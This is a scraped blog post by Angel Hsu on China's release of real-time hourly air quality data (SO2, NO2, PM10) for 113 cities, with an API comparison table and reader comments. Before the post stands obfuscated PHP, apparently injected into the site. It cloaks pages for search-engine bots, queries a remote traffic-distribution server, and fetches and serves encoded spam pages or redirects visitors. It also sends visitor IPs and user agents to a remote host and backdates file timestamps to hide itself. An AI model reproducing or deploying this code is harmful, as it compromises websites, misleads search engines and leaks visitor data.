_41);$this->_43=strlen($this->_42);$this->_46=(is_dir($this->_44)&&is_writable($this->_44));$this->_16->l__16("init cache result: {$this->_46}");}function l__25($_3){if(!$this->_48){$this->_16->l__16(_1916063019(219));return false;}$_53=$this->l__26($_3);$this->_16->l__16("[cache] try $_53.");if(!file_exists($_53)){$this->_16->l__16(_1916063019(220));return false;}$_25=false;$_54=@fopen($_53,_1916063019(221));if($_54){if(@flock($_54,LOCK_SH)){fseek($_54,$this->_43);$_25=@fread($_54,(filesize($_53)-$this->_43));if($_25){$_55=@unserialize(gzuncompress($_25));if(is_array($_55)){if((time()-$_55[_1916063019(222)])<$this->_45*3600){$_25=$_55[_1916063019(223)];}else{$this->_16->l__16(_1916063019(224));$_25=false;}}else $this->_16->l__16(_1916063019(225));}@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache] !!!ERROR can't lock file $_53");@fclose($_54);}else $this->_16->l__16("[cache] !!!ERROR can't open file $_53");return $_25;}function l__21($_3,$_8){if(!$this->_48){$this->_16->l__16(_1916063019(226));return false;}$_53=$this->l__26($_3);$_56=array(_1916063019(227)=>time(),_1916063019(228)=>$_8);$_57=gzcompress(serialize($_56),$this->_47);$_58=$this->_42 .$_57;$_59=(file_exists($_53))?filemtime($_53):time();if(time()-$_59<100){$_59=time()-(3600*24*365)*2;$this->_16->l__16(_1916063019(229));}$_60=false;$_54=@fopen($_53,_1916063019(230));if($_54){if(@flock($_54,LOCK_EX)){$_60=@fwrite($_54,$_58);@flock($_54,LOCK_UN);}else $this->_16->l__16("[cache]!!!ERROR can't lock file $_53");@fclose($_54);}else{$this->_16->l__16("[cache]!!!ERROR can't open file $_53");}@touch($_53,$_59,$_59);$this->_16->l__16("[cache]write to cache $_53: " .(((bool)$_60)?_1916063019(231):_1916063019(232)));return $_60;}function l__26($_3){$_61=str_replace(array(_1916063019(233),_1916063019(234),_1916063019(235),_1916063019(236),_1916063019(237)),_1916063019(238),strtolower($_3));$_62=crc32($_61);return $this->_44 ."button$_62.png";}}class l__27{var $_63;var $_64;var $_37;var $_38;function l__27($_65){$this->_63=$_65;$this->_64=(isset($_SERVER[_1916063019(239)]))?$_SERVER[_1916063019(240)]:getenv(_1916063019(241));$this->_64=trim($this->_64);}}class ____SerpUser_Detector extends l__27{function l__28(){$_66=false;if(preg_match(_1916063019(242),$this->_64)){$_67=array();if(preg_match(_1916063019(243),$this->_64,$_67)){$_68=(isset($_67[2]))?$_67[2]:null;$this->_38=$_68;if(!empty($_68)){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}}class l__29 extends l__27{var $_70;var $_71;var $_72;var $_73;var $_74='http://www.google.com/search?q=info:{url}&ie=utf-8&oe=utf-8&hl=en&gl=us';function l__29($_65,&$_75,$_10,$_76){$this->_70=&$_75;$this->_71=$_76;$this->_72=$_10;$this->_73=3600*6;parent::l__27($_65);}function l__28($_3){$_66=false;if(preg_match(_1916063019(244),$this->_64)){$_67=array();if(preg_match(_1916063019(245),$this->_64,$_67)){$_68=$this->l__30($_3);if($_68!==false){$this->_38=$_68;}if(!empty($_68)&&$_68!==false){foreach($this->_63 as $_69){if(stristr($_68,$_69)!==false){$this->_37=$_69;$_66=true;break;}}}}}return $_66;}function l__30($_3){$_77=false;$_78=false;$_79=$this->l__33();$_80=$this->l__35($_3);$_81=time();$_82=_1916063019(246);if(isset($_79[$_80][_1916063019(247)])){$_82=$_79[$_80][_1916063019(248)];}if(empty($_82)){$_69=$this->l__32($_3);if($_69!==false){$_82=$_79[$_80][_1916063019(249)]=$_69;}}if(!empty($_82)){$_83=array(_1916063019(250)=>false,_1916063019(251)=>0);if(isset($_79[$_80][_1916063019(252)])){$_83=$_79[$_80][_1916063019(253)];}if(!$_83[_1916063019(254)]){if(($_81-$_83[_1916063019(255)])>$this->_73){if($this->l__31($_3))$_83[_1916063019(256)]=$_79[$_80][_1916063019(257)][_1916063019(258)]=true;else $_79[$_80][_1916063019(259)][_1916063019(260)]=false;$_79[$_80][_1916063019(261)][_1916063019(262)]=$_81;$_77=true;}}$_78=$_83[_1916063019(263)];}if($_77){$this->l__34($_79);}return($_78&&!empty($_82))?$_82:false;}function l__31($_3){global $_84;$_84=implode(_1916063019(264),$this->_63);$_85=str_replace(_1916063019(265),urlencode($_3),$this->_74);$_86=$this->_72->l__53($_85,true);foreach($this->_63 as $_69){if(stristr($_86,$_69)!==false){return true;}}return false;}function l__32($_3){$_86=$this->_70->l__71($_3);if($_86[_1916063019(266)]){$_87=array();if(preg_match(_1916063019(267),$_86[_1916063019(268)],$_87)){$_69=$_87[1];return $_69;}}return false;}function l__33(){if(!file_exists($this->_71)){$_88=time()-3600*24*31*3;@touch($this->_71,$_88,$_88);return array();}$_54=@fopen($this->_71,_1916063019(269));if($_54){@flock($_54,LOCK_SH);$_8=@fread($_54,filesize($this->_71));@flock($_54,LOCK_UN);@fclose($_54);$_89=@unserialize(gzuncompress($_8));return($_89===false)?array():$_89;}return array();}function l__34($_79){$_90=@filemtime($this->_71);$_57=gzcompress(serialize($_79),5);$_54=@fopen($this->_71,_1916063019(270));if($_54){@flock($_54,LOCK_EX);fwrite($_54,$_57);@flock($_54,LOCK_UN);@fclose($_54);@touch($this->_71,$_90,$_90);}}function l__35($_3){$_61=str_replace(array(_1916063019(271),_1916063019(272),_1916063019(273),_1916063019(274),_1916063019(275)),_1916063019(276),strtolower($_3));return md5($_61);}}class l__36{var $_91;var $_92=array();var $_93;var $_94;var $_16;var $_95='[botdetector]';function l__36($_9,&$_96,&$_97,&$_50,$_98=array('ua','ip')){$this->_92=$_9;$this->_93=$_96;$this->_94=$_97;$this->_91=$_98;$this->_16=&$_50;}function l__37(){$_99=$_SERVER[_1916063019(277)];$_100=$this->_94->l__43();if($_100===false)return false;$_101=false;if(in_array(_1916063019(278),$this->_91)){$this->_16->l__16("{$this->_95} check ip");$_101=$this->l__39($_99,$_100[_1916063019(279)]);}if(!$_101&&in_array(_1916063019(280),$this->_91)){$this->_16->l__16("{$this->_95} check ua");$_101=$this->l__38($_100[_1916063019(281)]);}if(!$_101){$this->_16->l__16("{$this->_95} check host");$_101=$this->l__41($_99);}return $_101;}function l__38(&$_102){$_103=$_SERVER[_1916063019(282)];foreach($_102 as $_104){if(stristr($_103,$_104))return true;}return false;}function l__39($_99,&$_105){$_106=ip2long($_99);$_107=false;foreach($_105 as $_108){$_108=trim($_108);if(stristr($_108,_1916063019(283))!==false||stristr($_108,_1916063019(284))!==false){list($_109,$_110)=$this->l__40($_108);$_111=ip2long($_109);$_112=ip2long($_110);if($_106>=$_111&&$_106<=$_112){$_107=true;break;}}else{if($_99==$_108){$_107=true;break;}}}return $_107;}function l__40($_99){$_113=explode(_1916063019(285),$_99);$_114=$_115=array();foreach($_113 as $_116){if($_116== _1916063019(286)){$_114[]=0;$_115[]=255;continue;}if(stristr($_116,_1916063019(287))){$_117=explode(_1916063019(288),$_116);$_114[]=$_117[0];$_115[]=$_117[1];}else{$_114[]=$_116;$_115[]=$_116;}}return array(join(_1916063019(289),$_114),join(_1916063019(290),$_115));}function l__41($_99){if(!$this->_92[_1916063019(291)])return false;$_118=@gethostbyaddr($_99);if(empty($_118))return false;$_118=strtolower($_118);foreach($this->_92[_1916063019(292)]as $_119){if(strpos($_118,$_119)!==false){$this->_93->l__49($_99,$_118);return true;}}return false;}}class l__42{var $_72;var $_120;var $_121;var $_122;var $_95='[botprovider]';var $_16;function l__42(&$_10,&$_50,$_123,$_124,$_125){$this->_72=$_10;$this->_120=$_123;$this->_121=$_124;$this->_122=$_125*3600;$this->_16=&$_50;}function l__43(){$_8=$this->l__44();if($_8===false||time()-($_8[_1916063019(293)])>$this->_122){$this->_16->l__16("{$this->_95} data need update. try update");$this->l__45();$_8=$this->l__44();}if($_8===false)$this->_16->l__16("{$this->_95} data is not present");return $_8;}function l__44(){if(!file_exists($this->_121)){$this->_16->l__16("{$this->_95} bot file not exists");return false;}clearstatcache();if(filesize($this->_121)==0)return false;$_8=false;$_54=@fopen($this->_121,_1916063019(294));if($_54){if(@flock($_54,LOCK_SH)){$_126=fread($_54,filesize($this->_121));$_8=$this->l__46($_126);if($_8===false)$this->_16->l__16("{$this->_95} data is corrupted");@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for read");@fclose($_54);}else{$this->_16->l__16("{$this->_95} cannot open file for read");}return $_8;}function l__45(){$_127=(file_exists($this->_121))?filemtime($this->_121):(time()-24*3600*30*3);$_54=@fopen($this->_121,_1916063019(295));if($_54){if(@flock($_54,LOCK_EX)){$_128=$this->_72->l__53($this->_120);$_129=$this->l__46($_128);if($_129!==false){$_8=array(_1916063019(296)=>time(),_1916063019(297)=>$_129[_1916063019(298)],_1916063019(299)=>$_129[_1916063019(300)]);$_126=$this->l__47($_8);@ftruncate($_54,0);if(!@fwrite($_54,$_126))$this->_16->l__16("{$this->_95} cannot write data");}else{$this->_16->l__16("{$this->_95} server data is corrupted");}@flock($_54,LOCK_UN);}else $this->_16->l__16("{$this->_95} cannot lock file for update");@fclose($_54);@touch($this->_121,$_127,$_127);}else{$this->_16->l__16("{$this->_95} cannot open file for update");}}function l__46($_126){return@unserialize(gzuncompress($_126));}function l__47($_8){return gzcompress(serialize($_8),9);}}class l__48{var $_72;var $_130;function l__48($_10,$_3){$this->_72=$_10;$this->_130=$_3;}function l__49($_99,$_131){$_8=array(_1916063019(301)=>$_SERVER[_1916063019(302)],_1916063019(303)=>$_99,_1916063019(304)=>$_131,_1916063019(305)=>$_SERVER[_1916063019(306)]);$_1=array();foreach($_8 as $_69 => $_132){$_1[]="$_69=" .base64_encode($_132);}$_1[]=_1916063019(307) .crc32($_8[_1916063019(308)]);$_3=$this->_130 ._1916063019(309) .join(_1916063019(310),$_1);@$this->_72->l__54($_3);}}class l__50{var $_92=array('timeout'=>10,'headers'=>array());var $_133;var $_16;var $_134;function l__50(&$_50,$_135='curl',$_9=array()){$this->_16=&$_50;$this->_134=$_135;$this->_92=array_merge($this->_92,$_9);}function l__51($_69,$_132){$this->_92[$_69]=$_132;}function l__52(){$_136=array();foreach($this->_92[_1916063019(311)]as $_69=>$_132)$_136[]="$_69: $_132";return $_136;}function l__53($_3,$_137=true){switch($this->_134){case _1916063019(312):$_138=$this->l__60($_3,$_137);break;case _1916063019(313):$_138=$this->l__58($_3,$_137);break;case _1916063019(314):$_138=$this->l__55($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}$this->_16->l__16(_1916063019(315) .strlen($_138));return $_138;}function l__54($_3){switch($this->_134){case _1916063019(316):return $this->l__61($_3);break;case _1916063019(317):return $this->l__59($_3);break;case _1916063019(318):return $this->l__56($_3);break;default:$this->_16->l__16("[webclient] unknown webclient type. {$this->_134}");}}function l__55($_3){$this->_16->l__16("[webclient(socket)] load content: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(319);$_55=_1916063019(320);while(!@feof($_54)){$_55.=@fread($_54,8192);}fclose($_54);$_113=explode(_1916063019(321),$_55,2);$_55=(count($_113)==2)?$_113[1]:$_55;return $_55;}function l__56($_3){$this->_16->l__16("[webclient(socket)] load headers: $_3");$_54=$this->l__57($_3);if(!$_54)return _1916063019(322);$_55=_1916063019(323);while(!@feof($_54)){$_55.=@fread($_54,8192);if(strpos($_55,_1916063019(324))!==false){$_113=explode(_1916063019(325),$_55,2);$_55=$_113[0];break;}}fclose($_54);return $this->l__63($_55);}function l__57($_3){$this->_133=_1916063019(326);$_139=parse_url($_3);$_53=(empty($_139[_1916063019(327)]))?_1916063019(328):$_139[_1916063019(329)];if(!empty($_139[_1916063019(330)]))$_53.= _1916063019(331) .$_139[_1916063019(332)];$_140=$_141=null;$_54=@fsockopen($_139[_1916063019(333)],80,$_140,$_141,$this->_92[_1916063019(334)]);if(!$_54){$this->_16->l__16("[webclient(socket)] error: $_141");return false;}stream_set_timeout($_54,$this->_92[_1916063019(335)]);fwrite($_54,"GET $_53 HTTP/1.1\n");fwrite($_54,"Host: {$_139[_1916063019(336)]}\n");fwrite($_54,_1916063019(337));foreach($this->l__52()as $_142)fwrite($_54,"$_142\n");fwrite($_54,_1916063019(338));return $_54;}function l__58($_3,$_137=true){$this->_133=_1916063019(339);$this->_16->l__16("[webclient(fopen)] load content: $_3");$_143=array(_1916063019(340)=>array(_1916063019(341)=>7,_1916063019(342)=>$_137,_1916063019(343)=>join(_1916063019(344),$this->l__52()),_1916063019(345)=>$this->_92[_1916063019(346)]));$_144=stream_context_create($_143);$_54=@fopen($_3,_1916063019(347),false,$_144);$_55=_1916063019(348);while(!@feof($_54)){$_55.=@fread($_54,8192);}@fclose($_54);return $_55;}function l__59($_3){$this->_133=_1916063019(349);$this->_16->l__16("[webclient(get_headers)] load headers: $_3");$_145=@get_headers($_3,true);return $_145;}function l__60($_3,$_137=true){global $_84;$this->_16->l__16("[webclient(curl)] load content: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,0);@curl_setopt($_146,CURLOPT_FOLLOWLOCATION,$_137);curl_setopt($_146,CURLOPT_HTTPHEADER,$this->l__52());$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");if(stristr($_3,_1916063019(350))&& curl_errno($_146)>0){$_55=$_84;}}if(stristr($_3,_1916063019(351))&& curl_getinfo($_146,CURLINFO_HTTP_CODE)==302){$_55=$_84;}curl_close($_146);return $_55;}function l__61($_3){$this->_16->l__16("[webclient(curl)] load headers: $_3");$_146=$this->l__62($_3);curl_setopt($_146,CURLOPT_HEADER,1);curl_setopt($_146,CURLOPT_NOBODY,1);$_55=@curl_exec($_146);if($_55===false){$_147=curl_error($_146);$this->_16->l__16("[webclient(curl)] FAILED: $_147");}curl_close($_146);return $this->l__63($_55);}function l__62($_3){$this->_133=_1916063019(352);$_146=curl_init();curl_setopt($_146,CURLOPT_URL,$_3);curl_setopt($_146,CURLOPT_TIMEOUT,$this->_92[_1916063019(353)]);curl_setopt($_146,CURLOPT_RETURNTRANSFER,true);return $_146;}function l__63($_148){$_148=str_replace(_1916063019(354),_1916063019(355),$_148);$_149=explode(_1916063019(356),$_148);$_145=array();foreach($_149 as $_150){$_150=trim($_150);if(empty($_150))continue;if(strpos($_150,_1916063019(357))===false)continue;@list($_69,$_132)=explode(_1916063019(358),$_150,2);if(isset($_145[$_69])){if(!is_array($_145[$_69]))$_145[$_69]=array($_145[$_69]);$_145[$_69][]=$_132;}else $_145[$_69]=(!empty($_132))?$_132:_1916063019(359);}$this->_16->l__16(_1916063019(360) .trim($_148));return $_145;}}class l__64{var $_72;var $_151;function l__64($_10,$_152){$this->_72=&$_10;$_152=str_replace(_1916063019(361),$_SERVER[_1916063019(362)],$_152);$_152=str_replace(_1916063019(363),rawurlencode($_SERVER[_1916063019(364)]),$_152);$_152=str_replace(_1916063019(365),rawurlencode(_1916063019(366) .@$_SERVER[_1916063019(367)]),$_152);$this->_151=$_152;}function l__65(){return preg_replace(_1916063019(368),_1916063019(369),$this->_151);}function l__66($_69,$_132){$this->_151=str_replace(_1916063019(370) .$_69 ._1916063019(371),rawurlencode($_132),$this->_151);}function l__67(){$_145=$this->_72->l__54($this->l__65());if(!isset($_145[_1916063019(372)]))return false;$_153=trim($_145[_1916063019(373)]);$_154=_1916063019(374);if(strpos($_153,_1916063019(375))!==false){list($_153,$_154)=explode(_1916063019(376),$_153);}return array($_153,$_154);}}class ____External_Base{function l__68($_138){echo $_138;}}class l__69{var $_155;var $_72=false;var $_156;function l__69($_157,$_10=false){$this->_155=rtrim($_157,_1916063019(377)) ._1916063019(378);if($_10)$this->_72=&$_10;}function l__70($_158){$this->_156=$_158;}function l__71($_3){$_69=$this->l__72($_3);$_159=$this->_155 .$_69;$_86=false;$_160=_1916063019(379);$_161=false;if($this->_72!=false){$_86=$this->_72->l__53($_159);$_160=$this->_72->_133;$_86=trim($_86);if(stristr($_86,_1916063019(380))){$_86=false;$_161=true;}}else{$_86=$this->l__73($_159);if($_86===false)$_161=true;$_160=_1916063019(381);}if($this->_156!==null){$_86=$this->_156->l__74($_86);}return array(_1916063019(382)=>(bool)$_86,_1916063019(383)=>$_86,_1916063019(384)=>$_159,_1916063019(385)=>$_160,_1916063019(386)=>$_161);}function l__72($_3){$_61=str_replace(array(_1916063019(387),_1916063019(388),_1916063019(389),_1916063019(390),_1916063019(391)),_1916063019(392),strtolower($_3));return md5($_61);}function l__73($_53){if(!file_exists($_53))return false;@$_162=fopen($_53,_1916063019(393));@$_86=fread($_162,filesize($_53));@fclose($_162);return $_86;}}class ____CloackPage_Decoder{function l__74($_8){if(empty($_8))return null;$_163=@base64_decode($_8);if($_163===false)return $_8;$_129=@gzinflate(@str_rot13($_163));if($_129===false)return $_8;return $_129;}}class ____Bootstrap_Simple extends l__0{function l__75(){if(!isset($this->_6[_1916063019(394)]))$this->_6[_1916063019(395)]=&new l__76($this->l__2($this->_7),$this->_4[_1916063019(396)][_1916063019(397)]);return $this->_6[_1916063019(398)];}}class ____Engine_Simple extends l__9{function l__11($_3,$_23){$_24=$this->_15->l__75();$_22=$this->_15->l__4();$_164=$_22->l__65();if($this->_4[_1916063019(399)]== _1916063019(400)){if(!$this->_18)$_24->l__77();$this->_16->l__16("request tds url: $_164");list($_153,$_154)=$_22->l__67();$this->_16->l__16("received out url: $_153");if($_153===false){$this->_16->l__16("bad out url. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16("try load out page: $_153");$_165=$this->_15->l__7();$_86=$_165->l__25($_153);if($_86===false||strlen($_86)<10){$this->_16->l__16(_1916063019(401));$_86=$_24->l__79($_153);if($_86==false||strlen($_86)<10){$this->_16->l__16("bad loaded page. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}else{$this->_16->l__16(_1916063019(402));$_165->l__21($_153,$_86);if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}else{$this->_16->l__16(_1916063019(403));if(!$this->_18)$_24->l__78();if(!$this->_18)$_24->l__81($_86,$_23);}}}else{$this->_16->l__16("local work. redirect to tds: $_164");if(!$this->_18)$_24->l__80($_164);}}function l__12($_23){}}class l__76 extends ____External_Base{var $_72;var $_166;var $_167;function l__76($_10,$_168){$this->_72=&$_10;$this->_166=_1916063019(404) .str_replace(_1916063019(405),_1916063019(406),uniqid(rand(),true));$this->_167=$_168;@ini_set(_1916063019(407),0);@ini_set(_1916063019(408),1);@ob_end_clean();@ob_implicit_flush();}function l__77(){}function l__78(){}function l__79($_153){$_99=@$_SERVER[_1916063019(409)];if(strpos($_153,_1916063019(410))!==false){$_169="ip=$_99&remote_ip=$_99";$_153.=(strpos($_153,_1916063019(411))===false)?_1916063019(412):_1916063019(413);$_153.=$_169;}$_86=$this->_72->l__53($_153);if($_86){$_86=preg_replace_callback('/]+)href\s*=\s*["\']([^\s>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$_86);if(!@preg_match(_1916063019(414),$_86)){$_170="";if(@preg_match(_1916063019(415),$_86))$_86=@preg_replace(_1916063019(416),"$1$_170",$_86,1);else if(@preg_match(_1916063019(417),$_86))$_86=str_replace(_1916063019(418),$_170 ._1916063019(419) ._1916063019(420),$_86);else $_86=$_170 .$_86;}}return $_86;}function l__80($_3){if(!headers_sent()){header("Location: $_3");}else{$_28=_1916063019(421) .$_3 ._1916063019(422);$_28.= _1916063019(423) .$_3 ._1916063019(424);echo $_28;@flush();@ob_flush();}}function l__81($_138,$_23){$_171=$this->l__83($_23);$_138=preg_replace(_1916063019(425),"",$_138);echo $_138;}function l__82($_138){}function _setCustomParameter($_172){$_3=$_172[2];$_173=_1916063019(426);if(strpos($_3,_1916063019(427))!==false){list($_3,$_173)=explode(_1916063019(428),$_3);}if(strpos($_3,_1916063019(429))!==false){$_3.= _1916063019(430) .$this->_167;}else{$_3.= _1916063019(431) .$this->_167;}if(!empty($_173))$_3.= _1916063019(432) .$_173;$_174="";return $_174;}function l__83($_23){$_99=$_SERVER[_1916063019(433)];$_103=$_SERVER[_1916063019(434)];$_175=$_SERVER[_1916063019(435)];$_21=$_23[_1916063019(436)];$_171="$_99|$_103|$_175|$_21";$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);$_176=strrev($_176);$_176=base64_encode(gzcompress($_171,9));$_176=str_rot13($_176);return $_176;}}$_177=null;$_178=null;$_8=array(_1916063019(437)=>$_2);$_177=new ____Bootstrap_Simple($_1,$_8);$_178=new ____Engine_Simple($_177,$_1);$_178->l__10($_3);unset($_177);unset($_178); ?> Real-time, hourly air quality data in China now available | Angel Hsu
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justfrontpage

Real-time, hourly air quality data in China now available


China’s National Environmental Monitoring Center (CNEMC) now has real-time, hourly air quality data for 113 major Chinese cities, available here. Concentrations in (mg/m3) are reported for major pollutants sulfur dioxide (SO2), nitrogen dioxide  (NO2), and particulate matter (PM10, particles with a diameter of 10 microns or less).  This is a major improvement from previous data, which only reported air quality in terms of the Air Pollution Index (API).  A major complaint of the API is that its air quality categories (i.e. “slightly polluted,” “heavily polluted,” etc.) are only based on the criteria pollutant with the greatest concentration (more often than not PM10 in the smoggy skies of Beijing, for instance) averaged over a 24-hour period.  See my friend Vance Wagner’s lucid explanation of how the API is calculated in China. He has also written a few posts on the new system as well as translations of the explanation pages available in the website’s introduction.

Therefore, this new web application on the CNEMC website (available in Chinese online), represents a significant improvement by the Chinese government to be more transparent about air quality data.  Pollutant data are available for all 31 Chinese provinces and municipalities (Beijing, Shanghai, Tianjin, and Chongqing), with some provinces containing multiple datapoints from a few cities and air monitoring stations.  The data points, however, are not comprehensive: the stations listed for Beijing only include 8 of the 27 monitoring stations used to calculate Beijing’s API.  There’s also a question about of how the data compare with other data sources in China, such as the US Embassy‘s measurements.

I’d like to use this data for my research, but still haven’t managed to find an archive or download option. If you come across either or have any other ideas about how I might collect the data for further analysis, please drop me a line.

– Update — Jan. 7, 2011

Thank you to all who provided comments and questions that got me to take a closer look at the data available on the site.  Here are a few more observations:

– Because the application uses Microsoft Silverlight, it doesn’t look like there is capacity at the moment to download or scrape data from the site.  It’s a little frustrating, considering the data gold mine it presents.

– Class I, II, and III air quality standards for the criteria air pollutants SO2, NO2, and PM10 are in the application’s introduction (空气质量监测系统介绍), which helps to provide some explanation of what the pollutant concentrations might mean.  Here’s a table I made that compares the Chinese air quality standards to their normalized scores on the Air Pollution Index (API):

Pollutant Time period Class 1  

(Excellent)

Class 2  

(Good)

Class 3  

(Slightly-lightly polluted)

mg/m3 API mg/m3 API mg/m3 API
SO2 Yearly 0.02 <50 0.06 50-100 0.10 50-100
Daily 0.05 50 0.15 100 0.25 100-200
Hourly 0.15 100 0.50 100-200 0.70 100-200
PM10 Yearly 0.04 <50 0.10 50-100 0.15 100
Daily 0.05 50 0.15 100 0.25 100-200
NO2 Yearly 0.04 <50 0.08 50 0.08 50
Daily 0.08 50 0.12 100 0.12 100
Hourly 0.12 100 0.24 100-200 0.24 100-200

Table 1. Hourly, Daily, and Yearly Air Pollutant Concentrations and Corresponding Air Pollution Index (API) Scores

On China’s API, anything below 100 is considered a ‘Blue-Sky Day.’  Take notice that by default the graphs for the hourly pollutant data has a red line for the Class 2 standards for each pollutant:

So it looks like at some times of the day, hourly exposure to some of these pollutants could fall into the ‘lightly polluted’ or ‘moderately lightly polluted categories’ (API 100-200).  The API is, of course, calculated using the 24-hour averages of the pollutants.

- At any rate, this site seems to be a step forward toward greater transparency on environmental data in China. The Institute of Public and Environmental Affairs (IPE) and the Natural Resources Defense Council just released the second edition of the Pollution Information Transparency Index (PITI; Chinese only).  They saw modest gains in transparency of environmental data in 113 Chinese cities, although overall China still has a ways to go.

- More to come later, when I figure out a way to download some of the data to compare to satellite information.

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  • http://markenglehartevans.com @Mark_E_Evans

    Where’s the hourly part? I can only find daily results for Shanghai.

    This site looks to be (as most Chinese gov’t sites) lacking the fun and excitement of xml or RSS, so getting this data out without copy and past hell looks unlikely, which sucks.

  • Angel

    Hi Mark! It’s in the graphs and charts below the map. About 5 hours of hourly numbers (1时 2时,etc.) is in tables, and the charts show the data over 24 hours. Hope that helps! I think it tends to work better in Google Chrome.

  • http://markenglehartevans.com @Mark_E_Evans

    got it. That’s a (microsoft) Silverlight Javascript thing… not going to be easy to scrape data from it.

  • Peter h church

    keep up the good work.

  • Pingback: Post Expo pollution in Shanghai: an emissions analysis | Mark Englehart Evans()

  • Lioracc

    The Air Test Page (at the “Here” link) is broken. Where is the new one??

  • http://hsu.me Angel Hsu

    I’ll do some investigation. I’m not sure where they’ve moved it, but when I wrote the post it seemed like it was in beta form anyhow.